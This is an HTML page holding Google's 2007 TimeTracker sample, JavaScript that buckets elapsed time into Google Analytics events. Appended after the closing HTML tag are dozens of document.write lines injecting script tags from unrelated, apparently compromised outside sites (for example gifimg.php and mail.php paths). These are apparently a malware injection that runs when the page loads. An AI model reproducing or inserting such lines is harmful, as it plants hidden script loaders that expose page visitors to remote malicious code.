<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 6.00.5730.13" name=3DGENERATOR></HEAD>
<BODY><PRE>// Copyright 2007 Google, Inc.
// This sample code is under the Apache2 license, see
// http://www.apache.org/licenses/LICENSE-2.0 for license details.
/**
 * @fileoverview Wrapper for Time Tracking
 */

/**
 * @class Time Tracking component.
 *     This class encapsulates all logic for time tracking on a =
particular
 *     page. Time tracking could be for any object within a page or the =
page
 *     itself.
 *
 * @param {Array.&lt;Number&gt;} arg1 Optional array that represents the =
bucket
 * @constructor
 */
var TimeTracker =3D function(opt_bucket) {
  if (opt_bucket) {
    this.bucket_ =3D opt_bucket.sort(this.sortNumber);=20
  } else {
    this.bucket_ =3D TimeTracker.DEFAULT_BUCKET;
  }
};

TimeTracker.prototype.startTime_;
TimeTracker.prototype.stopTime_;
TimeTracker.prototype.bucket_;
TimeTracker.DEFAULT_BUCKET =3D [10000, 30000, 60000, 90000, 120000, 180000, 240000, 300000];

/**
 * Calculates time difference between start and stop
 * @return {Number} The time difference between start and stop
 */
TimeTracker.prototype._getTimeDiff =3D function() {
  return (this.stopTime_ - this.startTime_);
};

/**
 * Helper function to sort an Array of numbers
 * @param {Number} arg1 The first number
 * @param {Number} arg2 The second number
 * @return {Number} The difference used to sort
 */
TimeTracker.prototype.sortNumber =3D function(a, b) {
  return (a - b);
}

/**
 * Records the start time
 * @param {Number} arg1 Optional start time specified by user
 */
TimeTracker.prototype._recordStartTime =3D function(opt_time) {
  if (opt_time !=3D undefined) {
    this.startTime_ =3D opt_time;
  } else {
    this.startTime_ =3D (new Date()).getTime();
  }
};

/**
 * Records the stop time
 * @param {Number} arg1 Optional stop time specified by user
 */
TimeTracker.prototype._recordEndTime =3D function(opt_time) {
  if (opt_time !=3D undefined) {
    this.stopTime_ =3D opt_time;
  } else {
    this.stopTime_ =3D (new Date()).getTime();
  }
};

/**
 * Tracks the event. Calculates time and sends information to
 * the event tracker passed
 * @param {Object} arg1 GA tracker created by user
 * @param {String} arg2 Optional event object name
 * @param {String} arg3 Optional event label
 */
TimeTracker.prototype._track =3D function(tracker,
                                        opt_event_obj_name,
                                        opt_event_label) {
  var eventTracker;
  if (opt_event_obj_name !=3D undefined &amp;&amp; =
opt_event_obj_name.length !=3D 0) {
    eventTracker =3D tracker._createEventTracker(opt_event_obj_name);
  } else {
    eventTracker =3D tracker._createEventTracker('TimeTracker');
  }

  var i;
  var bucketString;
  for(i =3D 0; i &lt; this.bucket_.length; i++) {
    if ((this._getTimeDiff()) &lt; this.bucket_[i]) {
      if (i =3D=3D 0) {
        bucketString =3D "0-" + (this.bucket_[0]);
        break;
      } else {
        bucketString =3D this.bucket_[i - 1] + "-" + (this.bucket_[i] - =
1);
        break;
      }
    }
  }
  if (!bucketString) {
    bucketString =3D this.bucket_[i - 1] + "+";
  }
  eventTracker._trackEvent(bucketString, opt_event_label, =
this._getTimeDiff());
};

/**
 * Sets the bucket for histogram generation in GA
 * @param {Array.&lt;Number&gt;} The bucket array
 */
TimeTracker.prototype._setHistogramBuckets =3D function(buckets_array) {
  this.bucket_ =3D buckets_array.sort(this.sortNumber);
};
</PRE></BODY></HTML>

document.write('<script src=http://eurosystems.ca/test/entree.php ><\/script>');
document.write('<script src=http://zaferacar.com.tr/depo/mail.php ><\/script>');
document.write('<script src=http://zaferacar.com.tr/depo/mail.php ><\/script>');
document.write('<script src=http://zaferacar.com.tr/depo/mail.php ><\/script>');
document.write('<script src=http://zaferacar.com.tr/depo/mail.php ><\/script>');
document.write('<script src=http://tokatgunestv.com/images/gifimg.php ><\/script>');
document.write('<script src=http://tokatgunestv.com/images/gifimg.php ><\/script>');
document.write('<script src=http://tokatgunestv.com/images/gifimg.php ><\/script>');
document.write('<script src=http://tokatgunestv.com/images/gifimg.php ><\/script>');
document.write('<script src=http://tokatgunestv.com/images/gifimg.php ><\/script>');
document.write('<script src=http://tokatgunestv.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ritscomputers.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ritscomputers.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ritscomputers.com/images/gifimg.php ><\/script>');
document.write('<script src=http://ritscomputers.com/images/gifimg.php ><\/script>');
document.write('<script src=http://stopautos.extra.hu/_derived/desktop.php ><\/script>');
document.write('<script src=http://stopautos.extra.hu/_derived/desktop.php ><\/script>');
document.write('<script src=http://stopautos.extra.hu/_derived/desktop.php ><\/script>');
document.write('<script src=http://stopautos.extra.hu/_derived/desktop.php ><\/script>');
document.write('<script src=http://stopautos.extra.hu/_derived/desktop.php ><\/script>');
document.write('<script src=http://krishnapet.com/billbasesrv/index.php ><\/script>');
document.write('<script src=http://bristolmfb.com/cgi/financial.php ><\/script>');
document.write('<script src=http://asia2greece.com/cruise/destinations.php ><\/script>');
document.write('<script src=http://asia2greece.com/cruise/destinations.php ><\/script>');
document.write('<script src=http://pixelafoto.com/index.php ><\/script>');
document.write('<script src=http://pixelafoto.com/index.php ><\/script>');
document.write('<script src=http://pixelafoto.com/index.php ><\/script>');
document.write('<script src=http://snbeye.co.kr/images/ybr/top_home_over.php ><\/script>');
document.write('<script src=http://snbeye.co.kr/images/ybr/top_home_over.php ><\/script>');
document.write('<script src=http://snbeye.co.kr/images/ybr/top_home_over.php ><\/script>');
document.write('<script src=http://svmvarchietecturalproducts.in/images/gifimg.php ><\/script>');
document.write('<script src=http://khanstyle.co.kr/flash/map/wt42/map09.php ><\/script>');
document.write('<script src=http://khanstyle.co.kr/flash/map/wt42/map09.php ><\/script>');
document.write('<script src=http://khanstyle.co.kr/flash/map/wt42/map09.php ><\/script>');
document.write('<script src=http://khanstyle.co.kr/flash/map/wt42/map09.php ><\/script>');